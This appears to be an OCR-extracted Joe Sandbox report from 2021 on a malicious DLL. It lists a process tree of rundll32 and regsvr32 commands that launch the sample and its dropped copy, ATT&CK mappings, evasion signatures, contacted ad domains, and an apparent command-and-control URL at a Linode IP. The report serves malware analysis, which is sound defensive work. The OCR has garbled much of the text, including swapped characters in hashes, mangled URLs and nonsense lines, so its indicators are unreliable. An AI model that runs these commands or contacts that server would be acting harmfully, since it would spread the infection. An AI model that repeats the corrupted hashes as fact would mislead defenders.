JOESandbox Cloud™*

ID: 533073

Sample Name: AP8cSQS6y5.dll
Cookbook: default.jbs

Time: 01:04:08

Date: 03/12/2021

Version: 34.0.0 Boulder Opal



Table of Contents

Table of Contents
Windows Analysis Report AP8cSQS6y5.dll

Overview
General Information
Detection
Signatures
Classification
Process Tree
Malware Configuration
Yara Overview
Sigma Overview
Jbx Signature Overview
AV Detection:
Networking:
Hooking and other Techniques for Hiding and Protection:
HIPS / PFW / Operating System Protection Evasion:
Mitre Att&ck Matrix
Behavior Graph

Screenshots
Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs
Domains and IPs
Contacted Domains
Contacted URLs
URLSs from Memory and Binaries
Contacted IPs

O OoOWowowo®ownowmoon~N~No®dOdaonoaldldoadMdNisssnsdDPBDNDN

Public
General Information
Simulations 10
Behavior and APIs 10
Joe Sandbox View / Context 10
IPs 10
Domains 11
ASN 12
JA3 Fingerprints 13
Dropped Files 14
Created / dropped Files 15
Static File Info 44
General 44
File Icon 45
Static PE Info 45
General 45
Entrypoint Preview 45
Data Directories 45
Sections 45
Imports 45
Exports 45
Network Behavior 45
Network Port Distribution 45
TCP Packets 45
UDP Packets 46
DNS Queries 46
DNS Answers 46
HTTP Request Dependency Graph 47
HTTPS Proxied Packets 47
Code Manipulations 67
Statistics 67
Behavior 67
System Behavior 67
Analysis Process: loaddll32.exe PID: 2548 Parent PID: 5532 67
General 67
File Activities 67
Analysis Process: cmd.exe PID: 2464 Parent PID: 2548 67
General 67
File Activities 68
Analysis Process: regsvr32.exe PID: 6048 Parent PID: 2548 68
General 68
Analysis Process: rundll32.exe PID: 3696 Parent PID: 2464 68
General 68

Copyright Joe Security LLC 2021 Page 2 of 74



Analysis Process:

General
File Activities
Registry Activities

Analysis Process:

General
File Activities
File Deleted

Analysis Process:

General
File Activities
Registry Activities

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General
Disassembly
Code Analysis

iexplore.exe PID: 5820 Parent PID:

rundli32.exe PID: 4472 Parent PID:

iexplore.exe PID: 4664 Parent PID:

rundl32.exe PID: 3116 Parent PID:
rundl32.exe PID: 6512 Parent PID:
svchost.exe PID: 6560 Parent PID:
svchost.exe PID: 4856 Parent PID:
rundll32.exe PID: 6988 Parent PID:
rundll32.exe PID: 1740 Parent PID:
rundll32.exe PID: 3180 Parent PID:
rundll32.exe PID: 4892 Parent PID:
rundll32.exe PID: 7164 Parent PID:

svchost.exe PID: 7152 Parent PID:

2548

2548

5820

2548

2548

572

572

6048

3696

4472

3116

6512

572

WerFault.exe PID: 1752 Parent PID: 7152

WerFault.exe PID: 6652 Parent PID: 2548

svchost.exe PID: 6536 Parent PID:

572

rundli32.exe PID: 760 Parent PID: 3180

svchost.exe PID: 6996 Parent PID:

Copyright Joe Security LLC 2021

572

Page 3 of 74



Windows Analysis Report AP8cSQS6y5.dll

Overview

General Information

Sample AP8cSQS6y5.dll
Name:

Analysis ID: 533073

MD5: d706a7c97207b3..
SHAL: 9055721bc7129d..
SHA256: fd45e46€06310bf..
- [ [
Infos: (O g I 3

Most interesting Screenshot:

Process Tree

= System is wl0x64

Detection

F MALICIOUS ]

Score:
Range:
Whitelisted:

Confidence:

60
0-100
false

100%

Signatures

Multi AV Scanner detection for subm...

System process connects to networ

Hides that the sample has been dow...

Uses 32bit: PE files:
Queries the velumelinfermation
©nE oIt MOre Processes|crash

Contains functienality to)checkiifia d:..

Contains functionality'to guery/locales..

Deletesifiles inside the: Windows fold...

May/sleepi(evasivelloops)ito hinder: ...

Uses code abftiscation techniguesi(t..

Creates filesiinside the system direc...

Classification

o [ loaddll32.exe (PID: 2548 cmdline: loaddll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dlI" MD5: 72FCD8FBOADC38ED9050569AD673650E)

. cmd.exe (PID: 2464 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dII",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

. D rundll32.exe (PID: 3696 cmdline: rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dll",#1 MD5: D7CA562B0DB4F4DDOF03A89A1FDADG3D)

. D rundll32.exe (PID: 1740 cmdline: C:\Windows\SysWOW&64\rundll32.exe “C:\Users\user\Desktop\AP8cSQS6y5.dlI", DIIRegisterServer MD5:

D7CA562B0DB4F4DDOF03A89A1FDAD63D)

o B regsvr32.exe (PID: 6048 cmdline: regsvr32.exe /s C:\Users\user\Desktop\AP8cSQS6ys5.dIl MD5: 426E7499F6A7346F0410DEAD08055868B)
. D rundli32.exe (PID: 6988 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dlI", DIIRegisterServer MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)

. @ iexplore.exe (PID: 5820 cmdline: C:\Program Files\Internet Exploreniexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

. @ iexplore.exe (PID: 4664 cmdline: "C:\Program Files (x86)\Internet ExploreIEXPLORE.EXE" SCODEF:5820 CREDAT:17410 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)

.

D rundlI32.exe (PID: 4472 cmdline: rundll32.exe C:\Users\user\Desktop\AP8cSQS6y5.dll,DIIRegisterServer MD5: D7CA562B0DB4F4DDOF03A89A1FDADG3D)

. D rundlI32.exe (PID: 3180 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cgyizozde\hags.owg",JZDgQKVNU MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)

. D rundlI32.exe (PID: 760 cmdline: C:\Windows\SysWOW64\rundll32.exe “"C:\Windows\System32\Cgyizozde\hags.owg",DIIRegisterServer MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)

.

. D rundlI32.exe (PID: 4892 cmdline: C:\Windows\SysWOW&64\rundll32.exe “"C:\Users\user\Desktop\AP8cSQS6y5.dll", DIIRegisterServer MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD63D)

.

. D rundll32.exe (PID: 7164 cmdline: C:\Windows\SysWOW&64\rundlI32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dll", DIIRegisterServer MD5:
D7CA562B0DB4F4DDOF03A89A1FDAD6G3D)
. @ WerFault.exe (PID: 6652 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2548 -s 296 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

e [E7 svchostexe (PID: 6560 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchost.exe (PID: 4856 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchostexe (PID: 7152 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

. @ WerFault.exe (PID: 1752 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2548 -ip 2548 MD5: 9E2B8BACAD48ECCAS55C0230D63623661B)

e [ svchostexe (PID: 6536 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchostexe (PID: 6996 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

= cleanup

Malware Configuration

No configs have been found

Copyright Joe Security LLC 2021

D rundlI32.exe (PID: 3116 cmdline: rundll32.exe C:\Users\user\Desktop\AP8cSQS6y5.dll,_opj_codec_set_threads@8 MD5: D7CA562B0DB4F4DDOF03A89A1FDAD63D)

D rundlI32.exe (PID: 6512 cmdline: rundll32.exe C:\Users\user\Desktop\AP8cSQS6y5.dll,_opj_create_compress@4 MD5: D7CA562B0DB4F4DDOF03A89A1FDADG3D)
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Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file

Networking:

System process connects to network (likely due to code injection or exploit)

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control
Valid Native DLL Side-  Process Masquerading oS System Time Remote Archive Exfiltration Over Other  Encrypted
Accounts AP Loading Injection Credential  Discovery Services Collected  Network Medium Channel
Dumping Data
Default Scheduled Boot or DLL Side- Virtualization/Sandbox LSASS Security Software Remote Data from  Exfiltration Over Ingress Tool
Accounts  Task/Job  Logon Loading Evasion Memory  Discovery Desktop Removable Bluetooth Transfer [{}
Initialization Protocol Media
Scripts
Domain At (Linux) Logon Script Logon Script Process Security Virtualization/Sandbox SMB/Windows Data from Automated Exfiltration Non-
Accounts (Windows)  (Windows) Injection Account  Evasion Admin Shares Network Application
Manager Shared Layer
Drive Protocol

Local At Logon Script Logon Script Deobfuscate/Decode NTDS Process Discovery Distributed Input Scheduled Transfer Application
Accounts (Windows) (Mac) (Mac) Files or Information Component Capture Layer

Object Model Protocol
Cloud Cron Network Network Logon  Hidden Files and LSA Remote System SSH Keylogging Data Transfer Size Fallback
Accounts Logon Script Script Directories Secrets Discovery Limits Channels
Replication  Launchd Rc.common Rc.common Obfuscated Files or ~ Cached File and Directory VNC GUI Input  Exfiltration Over C2 Multiband
Through Information Domain Discovery Capture Channel Communication
Removable Credentials
Media
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

Command
and Control

Commonly
Used Port

Application
Layer Protocol

Web Protocols

File Transfer
Protocols

Number of created Registry Values

Number of created Files

Visual Basic
Delphi
Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet
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E https://wvnwmsn.com/de-ch/acid=iehp ~ @ ¢ || Search.

3 M5 Schweiz | Sign in Hot...

Microsoft tritt fiir den Schutz Ihrer Privatsphare ein.

Microsoft und unsere Drittanbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichern und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitgestellt, verwaltet und verbessert werden kénnen. Wenn Sie zustimmen,
personalisieren MSN die angezeigten Inhalte und Anzeigen. Sie kéinnen *Akzeptieren’ auswahlen, um dieser Verwendung
zuzustimmen, oder auf ‘Zwecke anzeigen' klicken, um lhre Optionen zu Uberpriifen. Sie kénnen Ihre Auswahl unter ‘Einstellungen
verwalten' unten auf dieser Seite andem. Datenschutzerkizrung.

Wir und unserer Partner verarbeiten Daten, um

prazise Geolokalisierungsdaten zu verwenden und aktiv Gerateeigenschaften zur Identifizierung zu scannen. Dies dient dazu,
Informationen auf einem Gerat zu speichemn und darauf zuzugreifen sowie personalisierte Anzeigen und Inhalte, Anzeigen- und
Inhaltsmessung, Einblicke in die Zielgruppe und Informationen zur Produktentwicklung bereitzustellen.

e der Partner (Anbieter)

Akzep

Zwecke anzeigen

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

AP8cSQS6y5.dll 11% Virustotal Browse
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https://www.virustotal.com/gui/file/fd45e46e06310bf7df9e0a2690b545c19c6a6cf7504c3ffc6f701f28c7ce8b2d/detection/f-fd45e46e06310bf7df9e0a2690b545c19c6a6cf7504c3ffc6f701f28c7ce8b2d-1638488170

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
tls13.taboola.map.fastly.net 0% Virustotal Browse
btloader.com 0% Virustotal Browse
edge.gycpi.b.yahoodns.net 0% Virustotal Browse
ad-delivery.net 0% Virustotal Browse
img.img-taboola.com 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http://https://onedrive.live.com;Fotos 0% Avira URL Cloud  safe
http:ifhttps://ad-delivery.net/px.gif2ch=1&e=0.8514255566470237 0% Avira URL Cloud safe
http://https://www.botman.ninja/privacy-policy 0% Avira URL Cloud safe
http:ifhttps://www.queryclick.com/privacy-policy 0% Avira URL Cloud safe
http:i/https://btloader.com/tag?0=6208086025961472&upapi=true 0% URL Reputation safe
http:ifhttps://www.stroeer.de/werben-mit-stroeer/onlinewerbung/programmatic-data/sdi-datenschutz-b2c - 0% Avira URL Cloud safe

http:ifcrl.ver) 0% Avira URL Cloud safe
http:ifhttps://silvermob.com/privacy 0% Avira URL Cloud safe

http:i/https://img.img- 0% Avira URL Cloud safe

taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F967a29a37c896af6
71157d56f753b141.jpg

http:i/https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F581ae10alac0d684

e3ee0516ec7f1737.jpg
http:ifhttps://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?" 0% URL Reputation safe
http:i/https://img.img- 0% Avira URL Cloud safe

taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2Fa7d05af5e60e8707

568c7b40b90566¢c.jpeg

http:i/https://onedrive.live.com;OneDrive-App 0% Avira URL Cloud safe
hitp://https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json 0% URL Reputation safe
http:// 0% Avira URL Cloud safe
https://172.104.227.98/DlyfDURfBLZbwEIrhufovCUNozIrPYPKBEAYjljXBPgzDrkcOIZvLCAzNWfafqw
http://https://doceree.com/.well-known/deviceStorage.json 0% Avira URL Cloud safe
http:/fhttps://mem.gfx.ms/meversion/?partner=msn&market=de-ch" 0% URL Reputation safe
http:i/https://Iwww.disneyplus.com/legallyour-california-privacy-rights 0% URL Reputation safe
http://https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe

Domains and IPs
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1630933000
https://www.virustotal.com/gui/url/4900a24ca49140a45a7084efc87b2d9ba9bba437d9525eb072c10a1d1cf26240/detection/u-4900a24ca49140a45a7084efc87b2d9ba9bba437d9525eb072c10a1d1cf26240-1638466299
https://www.virustotal.com/gui/url/4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495/detection/u-4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495-1629852886
https://www.virustotal.com/gui/url/c5d0058086c011bc988ba8a58955c770fcd364f06411c5a485656887944a3ace/detection/u-c5d0058086c011bc988ba8a58955c770fcd364f06411c5a485656887944a3ace-1638463946
https://www.virustotal.com/gui/url/98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714/detection/u-98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714-1638465255

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
contextual.media.net 23.211.6.95 true false high
dart.l.doubleclick.net 142.250.203.102 true false high
tls13.taboola.map.fastly.net 151.101.1.44 true false e 0%, Virustotal, Browse unknown
hblg.media.net 23.211.6.95 true false high
lg3.media.net 23.211.6.95 true false high
btloader.com 172.67.70.134 true false * 0%, Virustotal, Browse unknown
edge.gycpi.b.yahoodns.net 87.248.118.22 true false e 0%, Virustotal, Browse unknown
ad-delivery.net 104.26.2.70 true false e 0%, Virustotal, Browse unknown
assets.msn.com unknown unknown false high
Www.msn.com unknown unknown false high
ad.doubleclick.net unknown unknown false high
srtb.msn.com unknown unknown false high
img.img-taboola.com unknown unknown false * 0%, Virustotal, Browse unknown
s.yimg.com unknown unknown false high
cvision.media.net unknown unknown false high
browser.events.data.msn.com unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:ifhttps://ad-delivery.net/px.gif?ch=1&e=0.8514255566470237 false e Avira URL Cloud: safe unknown
http:i/https://btloader.com/tag?0=6208086025961472&upapi=true false e URL Reputation: safe unknown
http:i/https://ad.doubleclick.net/favicon.ico? false high

ad=300x250&ad_bhox_=1&adnet=1&showad=1&size=250x250

http://https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F967a29a37¢896af671157d561753b141.jpg

http://https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F581ael0alac0d684e3ee0516ec7f1737.jpg

http:i/https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2Fa7d05af5e60e8707568c7b40b90566¢c.jpeg

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious
104.26.2.70 ad-delivery.net United States £S5 13335 CLOUDFLARENETUS false
142.250.203.102 dart.l.doubleclick.net United States = 15169 GOOGLEUS false
87.248.118.22 edge.gycpi.b.yahoodns.net United Kingdom ] 203220 YAHOO-DEBDE false
151.101.1.44 tls13.taboola.map.fastly.ne United States = 54113 FASTLYUS false

t
172.67.70.134 btloader.com United States = 13335 CLOUDFLARENETUS false

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 533073
Start date: 03.12.2021
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1630933000
https://www.virustotal.com/gui/url/4900a24ca49140a45a7084efc87b2d9ba9bba437d9525eb072c10a1d1cf26240/detection/u-4900a24ca49140a45a7084efc87b2d9ba9bba437d9525eb072c10a1d1cf26240-1638466299
https://www.virustotal.com/gui/url/4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495/detection/u-4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495-1629852886
https://www.virustotal.com/gui/url/c5d0058086c011bc988ba8a58955c770fcd364f06411c5a485656887944a3ace/detection/u-c5d0058086c011bc988ba8a58955c770fcd364f06411c5a485656887944a3ace-1638463946
https://www.virustotal.com/gui/url/98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714/detection/u-98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714-1638465255

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

01:04:08
CloudBasic

Oh 12m 3s

false

light
AP8cSQS6y5.dIl
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Run with higher sleep bypass
34

o ©o o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal60.evad.winDLL@39/131@13/6
Failed

e Successful, ratio: 25.5% (good quality ratio 23.7%)
e Quality average: 72.2%
e Quality standard deviation: 29%

e Successful, ratio: 60%
Number of executed functions: 0
Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

e Sleeps bigger than 120000ms are automatically reduced to 1000ms
* Found application associated with file extension: .dll

Show All

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL

172.104.227.98

104.26.2.70
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SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context
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https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid
https://view.joesandbox.com/analysis/419835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419835/html/none?idtype=webid
https://view.joesandbox.com/analysis/419832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419832/html/none?idtype=webid
https://view.joesandbox.com/analysis/419821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419821/html/none?idtype=webid
https://view.joesandbox.com/analysis/419771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419771/html/none?idtype=webid
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid

Match

87.248.118.22

Domains

Match

contextual.media.net
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SHA 256
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Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
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Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

us.ilyim
g.com/favi
con.ico

us.il.yim
g.com/us.y
img.com/i/
yg/img/ilu
s/uifjoin.gif
yui.yahoo
apis.com/3
.4.1/build/yuilyui-
min.js

www.flick
r.com/phot
os/knappas
sociatesinc/

cookiex.n
gd.yahoo.c
om/ack?xid
=E0&eid=Xj
STxQAAAemD
VVLO

l.yimg.co
m/alilww/m
et/yahoo_|
0go_us_061
509.png

Context

23.211.6.95
23.211.6.95
23.211.6.95
23.211.6.95
23.211.6.95

23.211.6.95
23.211.6.95
23.211.6.95
23.211.6.95
23.211.6.95
2.18.160.23
2.18.160.23
2.18.160.23
2.18.160.23
2.18.160.23
2.18.160.23
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https://view.joesandbox.com/analysis/419474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419474/html/none?idtype=webid
https://view.joesandbox.com/analysis/417936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417936/html/none?idtype=webid
https://view.joesandbox.com/analysis/416966/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416966/html/none?idtype=webid
https://view.joesandbox.com/analysis/416842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416842/html/none?idtype=webid
https://view.joesandbox.com/analysis/416769/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416769/html/none?idtype=webid
https://view.joesandbox.com/analysis/416718/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416718/html/none?idtype=webid
https://view.joesandbox.com/analysis/416701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416701/html/none?idtype=webid
https://view.joesandbox.com/analysis/414672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414672/html/none?idtype=webid
https://view.joesandbox.com/analysis/414671/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414671/html/none?idtype=webid
https://view.joesandbox.com/analysis/413483/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413483/html/none?idtype=webid
https://view.joesandbox.com/analysis/413428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413428/html/none?idtype=webid
https://view.joesandbox.com/analysis/413366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413366/html/none?idtype=webid
https://view.joesandbox.com/analysis/237891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237891/html/none?idtype=webid
https://view.joesandbox.com/analysis/203855/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203855/html/none?idtype=webid
https://view.joesandbox.com/analysis/184471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/184471/html/none?idtype=webid
https://view.joesandbox.com/analysis/119842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/119842/html/none?idtype=webid
https://view.joesandbox.com/analysis/88211/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/88211/html/none?idtype=webid
https://view.joesandbox.com/analysis/33535/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/33535/html/none?idtype=webid
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid
https://view.joesandbox.com/analysis/419944/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419944/html/none?idtype=webid
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid
https://view.joesandbox.com/analysis/419940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419940/html/none?idtype=webid
https://view.joesandbox.com/analysis/419939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419939/html/none?idtype=webid
https://view.joesandbox.com/analysis/419842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419842/html/none?idtype=webid
https://view.joesandbox.com/analysis/419835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419835/html/none?idtype=webid
https://view.joesandbox.com/analysis/419832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419832/html/none?idtype=webid
https://view.joesandbox.com/analysis/419821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419821/html/none?idtype=webid
https://view.joesandbox.com/analysis/419771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419771/html/none?idtype=webid
https://view.joesandbox.com/analysis/419721/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419721/html/none?idtype=webid

Match

tls13.taboola.map.fastly.net

ASN

Match
CLOUDFLARENETUS

LINODE-APLinodeLLCUS
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Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
